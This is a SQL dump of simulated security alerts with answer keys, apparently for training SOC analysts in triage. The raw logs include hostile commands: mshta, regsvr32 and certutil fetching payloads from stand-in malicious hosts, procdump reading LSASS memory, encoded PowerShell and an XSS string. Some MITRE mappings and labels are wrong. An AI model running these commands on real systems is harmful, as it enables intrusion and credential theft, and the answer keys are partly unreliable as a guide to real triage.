(2066, 'Prisma Cloud Kubernetes Misconfiguration Exploit', 'high', 'Prisma Cloud', 'A misconfigured Kubernetes cluster was detected and exploited to run unauthorized containers.', 'Lateral Movement', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:25:10Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.0.2.123\",\"dst_ip\":\"10.1.2.3\",\"username\":\"kube-admin\",\"hostname\":\"kubernetes.cluster.local\",\"request_body\":\"\",\"command_line\":\"kubectl run malicious-container --image=malicious-image\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.123\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"IP known for exploiting Kubernetes vulnerabilities\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"kubectl run malicious-container --image=malicious-image\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used to deploy unauthorized containers\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of kubectl to run unauthorized containers indicates lateral movement.\"}', 'Beginner', 'CLOUD', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2067, 'Wiz Serverless Function Exploit Detected', 'high', 'Wiz', 'A serverless function execution was detected with an anomalous and potentially harmful payload.', 'Web Attack', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:50:05Z\",\"event_type\":\"process_execution\",\"src_ip\":\"198.51.100.44\",\"dst_ip\":\"10.0.3.14\",\"username\":\"lambda-exec\",\"hostname\":\"aws.lambda.com\",\"request_body\":\"<script>alert(\'XSS\')</script>\",\"command_line\":\"node malicious.js\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.44\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple web attacks\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"<script>alert(\'XSS\')</script>\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"XSS payload detected\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The presence of an XSS payload in serverless function execution suggests a web attack.\"}', 'Beginner', 'CLOUD', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2068, 'AWS GuardDuty Detects S3 Bucket Data Leak Attempt', 'critical', 'AWS GuardDuty', 'An unauthorized data access attempt was detected on an S3 bucket. The source IP belongs to a known malicious actor. Immediate action is required to prevent data exfiltration.', 'Data Exfil', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:23:45Z\",\"event_type\":\"s3_data_access\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"username\":\"unauthorized_user\",\"hostname\":\"s3.amazonaws.com\",\"request_body\":\"GET /sensitive_data\",\"command_line\":\"aws s3 cp s3://bucket_name/sensitive_data .\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"unauthorized_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"Attempted access by unauthorized user\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"aws s3 cp s3://bucket_name/sensitive_data .\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command indicates potential data exfiltration attempt\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The source IP is known for malicious activities, and the command line indicates an unauthorized data transfer attempt.\"}', 'Beginner', 'CLOUD', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(2069, 'Azure Defender Detects Unusual IAM Privilege Escalation', 'high', 'Azure Defender', 'A user account attempted to gain privileged access using an unusual method, but the IP address appears to be from an internal range.', 'Credential Attack', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:45:32Z\",\"event_type\":\"privilege_escalation\",\"src_ip\":\"10.0.0.23\",\"dst_ip\":\"10.0.0.45\",\"username\":\"john.doe\",\"hostname\":\"azure-vm01\",\"command_line\":\"az role assignment create --assignee john.doe --role Contributor\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"IP address belongs to internal network\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"john.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"clean\",\"details\":\"User is a known employee with prior authorized access\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The activity was conducted within the internal network by a known user, indicating a false positive.\"}', 'Beginner', 'CLOUD', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2070, 'GCP SCC Alerts on Service Account Hijacking Attempt', 'medium', 'GCP SCC', 'A service account attempted unauthorized access from an unusual IP address, but the IP is from a trusted partner network.', 'Access Anomaly', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:57:18Z\",\"event_type\":\"service_account_access\",\"src_ip\":\"198.51.100.12\",\"dst_ip\":\"172.16.0.5\",\"username\":\"service-account-123\",\"hostname\":\"gcp-service\",\"command_line\":\"gcloud auth activate-service-account --key-file=/path/to/key.json\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"clean\",\"details\":\"IP address belongs to a trusted partner network\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"service-account-123\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"clean\",\"details\":\"Service account regularly used for inter-company data sharing\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The access was mistakenly flagged due to the IP address, which is from a trusted partner network.\"}', 'Beginner', 'CLOUD', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(2071, 'Prisma Cloud Detects Anomalous Kubernetes Pod Creation', 'medium', 'Prisma Cloud', 'An unexpected Kubernetes pod creation was detected, but it matches a known maintenance script signature.', 'Anomaly Detection', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T15:12:07Z\",\"event_type\":\"k8s_pod_creation\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"192.168.1.100\",\"username\":\"k8s-admin\",\"hostname\":\"k8s-cluster\",\"command_line\":\"kubectl apply -f maintenance-pod.yaml\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"IP address belongs to internal management network\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"kubectl apply -f maintenance-pod.yaml\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Procedures\",\"verdict\":\"clean\",\"details\":\"Command matches known maintenance script\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"anomaly_detection\",\"analysis_notes\":\"The pod creation event aligns with a scheduled maintenance activity, indicating a false positive.\"}', 'Beginner', 'CLOUD', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2072, 'Wiz Detects Potential Serverless Function Abuse', 'high', 'Wiz', 'An unusual spike in serverless function executions was detected, originating from an internal source. The activity matches a stress test pattern.', 'Anomaly Detection', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T17:39:29Z\",\"event_type\":\"serverless_execution\",\"src_ip\":\"192.168.2.30\",\"dst_ip\":\"192.168.2.60\",\"username\":\"devops-team\",\"hostname\":\"serverless-env\",\"command_line\":\"invoke stress-test\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Review\",\"verdict\":\"internal\",\"details\":\"IP belongs to internal DevOps team\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"invoke stress-test\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Procedures\",\"verdict\":\"clean\",\"details\":\"Command matches stress test procedure\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"anomaly_detection\",\"analysis_notes\":\"The serverless function spike was part of a planned stress test by the DevOps team, confirming a false positive.\"}', 'Beginner', 'CLOUD', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2073, 'Credential Dump from LSASS via PowerShell Encoded Command', 'critical', 'CrowdStrike', 'A PowerShell script was executed with an encoded command targeting LSASS to dump credentials. This activity is indicative of a sophisticated attack aiming for credential harvesting.', 'Credential Dumping', 'T1003', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T02:15:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"192.168.1.10\",\"username\":\"jdoe\",\"hostname\":\"Workstation-01\",\"command_line\":\"powershell.exe -enc aW1wb3J0LU1vZHVsZSBTZWN1cml0eS5OZXQ7IFtTeXN0ZW0uTmV0LlNlcnZpY2VQcm9jZXNzXTo6R2V0UHJvY2Vzc2VzKCJsc2FzcyIpLmV4aXQ=\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address within the corporate network.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -enc aW1wb3J0LU1vZHVsZSBTZWN1cml0eS5OZXQ7IFtTeXN0ZW0uTmV0LlNlcnZpY2VQcm9jZXNzXTo6R2V0UHJvY2Vzc2VzKCJsc2FzcyIpLmV4aXQ=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Detected as a PowerShell command used in credential dumping attacks.\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The encoded PowerShell command is used to dump credentials from LSASS, a known technique employed by attackers for credential theft.\"}', 'Advanced', 'EDR', 7, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2074, 'Lateral Movement Detected via WMI Execution', 'high', 'SentinelOne', 'Suspicious WMI activity detected as an attacker attempts to move laterally between systems using WMI commands.', 'Lateral Movement', 'T1047', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T06:45:13Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.5\",\"dst_ip\":\"192.168.1.8\",\"username\":\"administrator\",\"hostname\":\"Server-03\",\"command_line\":\"wmic /node:192.168.1.8 process call create \\\"cmd.exe /c whoami\\\"\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address within the corporate network.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"wmic /node:192.168.1.8 process call create \\\"cmd.exe /c whoami\\\"\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"WMI command used for lateral movement within the network.\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"WMI is commonly used for lateral movement by adversaries to execute commands on remote hosts without dropping files.\"}', 'Advanced', 'EDR', 7, 1, 'TECH', NULL, NULL, NULL, 0),
(2075, 'Fileless Malware Detected via MSHTA Execution', 'critical', 'Carbon Black', 'A fileless malware attack was detected using MSHTA to execute a malicious script in memory, bypassing traditional file-based detections.', 'Malware', 'T1218', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:30:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.15\",\"dst_ip\":\"192.168.2.20\",\"username\":\"mbrown\",\"hostname\":\"Workstation-07\",\"command_line\":\"mshta.exe http://malicious.site/script.hta\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address within the corporate network.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious.site/script.hta\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL hosting malicious HTA script used for fileless malware attacks.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of MSHTA to execute a remote script is indicative of fileless malware, which executes in memory and often evades file-based detection methods.\"}', 'Advanced', 'EDR', 7, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2076, 'Suspicious Network Activity Indicative of Lateral Movement', 'high', 'Sysmon', 'Unusual internal network traffic patterns suggest lateral movement attempts within the network, potentially using compromised credentials.', 'Lateral Movement', 'T1076', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:22:10Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.3.45\",\"dst_ip\":\"192.168.3.50\",\"username\":\"svc_account\",\"hostname\":\"Server-12\",\"command_line\":null}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.3.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address within the corporate network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.3.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address within the corporate network.\"}}],\"expected_actions\":[\"collect_forensics\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The network traffic pattern between internal hosts suggests potential lateral movement, possibly indicating compromised credentials or a pivot attempt.\"}', 'Advanced', 'EDR', 7, 1, 'OT_ICS', NULL, NULL, NULL, 0),
(2077, 'Registry Modification via Regsvr32 for Persistence', 'high', 'CrowdStrike', 'Regsvr32 was used to execute a suspicious script, modifying registry settings to establish persistence on the host.', 'Persistence', 'T1112', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:55:05Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.4.30\",\"dst_ip\":\"192.168.4.30\",\"username\":\"hlee\",\"hostname\":\"Workstation-14\",\"command_line\":\"regsvr32 /s /n /u /i:http://malicious.example.com/script.sct scrobj.dll\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.4.30\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address within the corporate network.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious.example.com/script.sct\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL linked to a known malicious script used for persistence.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Regsvr32 was leveraged to execute a remote script designed to modify registry settings, a common technique for establishing persistence on the host.\"}', 'Advanced', 'EDR', 7, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2078, 'Credential Dumping via LSASS Access Detected', 'critical', 'CrowdStrike', 'A suspicious process attempted to access LSASS memory for credential dumping. This indicates a potential attempt to extract credentials.', 'Credential Attack', 'T1003', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T02:34:56Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.102\",\"dst_ip\":\"192.168.1.105\",\"username\":\"admin_user\",\"hostname\":\"CORP-SERVER01\",\"command_line\":\"powershell.exe -enc ZWNobyBIZWxsbyBXb3JsZA==\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.102\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network Logs\",\"verdict\":\"internal\",\"details\":\"Source IP is an internal address on the corporate network\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -enc ZWNobyBIZWxsbyBXb3JsZA==\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command indicative of malicious activity\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The encoded PowerShell command indicates an attempt to dump credentials using a fileless method.\"}', 'Advanced', 'EDR', 7, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2079, 'Suspicious Lateral Movement via WMI Detected', 'high', 'SentinelOne', 'Lateral movement attempt detected using WMI from one internal server to another. This could indicate a hacker attempting to move within the network.', 'Lateral Movement', 'T1047', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T05:12:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.20\",\"dst_ip\":\"192.168.2.30\",\"username\":\"network_admin\",\"hostname\":\"CORP-DC01\",\"command_line\":\"wmic /node:192.168.2.30 process call create \'cmd.exe /c calc.exe\'\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network Logs\",\"verdict\":\"internal\",\"details\":\"Source IP is an internal address on the corporate network\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"wmic /node:192.168.2.30 process call create \'cmd.exe /c calc.exe\'\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"WMI command used for lateral movement with potential malicious intent\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of WMI commands to execute processes on a remote machine is indicative of lateral movement attempts.\"}', 'Advanced', 'EDR', 7, 1, 'TECH', NULL, NULL, NULL, 0),
(2080, 'Fileless Malware Activity Detected via Encoded PowerShell', 'critical', 'Carbon Black', 'Detected execution of encoded PowerShell indicative of fileless malware activity. This could be an attempt to execute malicious scripts in memory.', 'Malware', 'T1059.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:15Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.55\",\"dst_ip\":\"192.168.1.60\",\"username\":\"sysadmin\",\"hostname\":\"WORKSTATION-12\",\"command_line\":\"powershell.exe -enc aQBlAHgAIAB8ACAAZgBvAFIAZQBhAGMAaAAgACgAJABjAG8AbQBtAGEAbgBkADoAUABvAHcAZQByAFMAaABlAGwAbAAgAC0AZQBuAGMAIAAtAHYAcgBlAGIAOwApAHwAIAAtAGYAcgBlAGUAbwBlAGQAKQAgAH0A\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network Logs\",\"verdict\":\"internal\",\"details\":\"Source IP is an internal address on the corporate network\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -enc aQBlAHgAIAB8ACAAZgBvAFIAZQBhAGMAaAAgACgAJABjAG8AbQBtAGEAbgBkADoAUABvAHcAZQByAFMAaABlAGwAbAAgAC0AZQBuAGMAIAAtAHYAcgBlAGIAOwApAHwAIAAtAGYAcgBlAGUAbwBlAGQAKQAgAH0A\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command associated with known fileless malware techniques\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The PowerShell command is characteristic of fileless malware, which executes scripts directly in memory.\"}', 'Advanced', 'EDR', 7, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2081, 'Malicious Network Connection Detected to Known C2 Server', 'high', 'Sysmon', 'A network connection was established with a known command and control server. This is indicative of potential malware communication or data exfiltration.', 'Data Exfiltration', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T15:23:12Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.5.100\",\"dst_ip\":\"203.0.113.25\",\"username\":\"jdoe\",\"hostname\":\"CLIENT-XY\",\"request_body\":\"N/A\",\"command_line\":\"certutil.exe -urlcache -split -f http://malicious-server.com/payload.exe\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for hosting malware\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"certutil.exe -urlcache -split -f http://malicious-server.com/payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Use of certutil.exe for downloading malware payloads is a known tactic\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The connection to a known malicious IP and use of certutil.exe to download a payload indicates a data exfiltration attempt.\"}', 'Advanced', 'EDR', 7, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2082, 'Suspicious Execution of MSHTA for Script Execution', 'high', 'CrowdStrike', 'Detected the use of mshta.exe to execute a remote script. This is often used in fileless attacks and could indicate malicious activity.', 'Malware', 'T1218.005', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:47:03Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.0.150\",\"dst_ip\":\"192.168.0.151\",\"username\":\"user123\",\"hostname\":\"DESKTOP-ABCD\",\"command_line\":\"mshta.exe http://malicious-site.com/script.hta\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.0.150\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network Logs\",\"verdict\":\"internal\",\"details\":\"Source IP is an internal address on the corporate network\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"mshta.exe http://malicious-site.com/script.hta\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL associated with malicious activities, often used in phishing attacks\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of mshta.exe to execute remote scripts is a well-known tactic for executing malicious code.\"}', 'Advanced', 'EDR', 7, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2083, 'PowerShell Fileless Malware Detected via Encoded Command', 'critical', 'CrowdStrike', 'A PowerShell script with encoded commands was executed on the host, indicative of a fileless malware attack. The command was used to download and execute malicious payloads.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:25:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.12\",\"dst_ip\":\"\",\"username\":\"jdoe\",\"hostname\":\"CORP-WIN10-02\",\"command_line\":\"powershell.exe -NoP -NonI -W Hidden -Enc W3JpY2tvbGV0IGNvbW1hbmQuZXhl\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -NoP -NonI -W Hidden -Enc W3JpY2tvbGV0IGNvbW1hbmQuZXhl\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command often used in fileless malware attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address within the corporate network\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The encoded PowerShell command was used to execute a fileless malware attack, which is a known method to evade detection.\"}', 'Advanced', 'EDR', 7, 1, 'FINANCE', NULL, NULL, NULL, 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(2084, 'Credential Dumping Detected via LSASS Access', 'critical', 'SentinelOne', 'Suspicious access to LSASS memory detected, indicating potential credential dumping activity. This is often a precursor to lateral movement.', 'Credential_Attack', 'T1003', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"\",\"username\":\"admin\",\"hostname\":\"CORP-SRV01\",\"command_line\":\"procdump.exe -ma lsass.exe\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"procdump.exe -ma lsass.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Procdump used to extract credentials from LSASS memory\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address within the corporate network\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Procdump was used to access LSASS, which is a common technique for credential dumping.\"}', 'Advanced', 'EDR', 7, 1, 'TECH', NULL, NULL, NULL, 0),
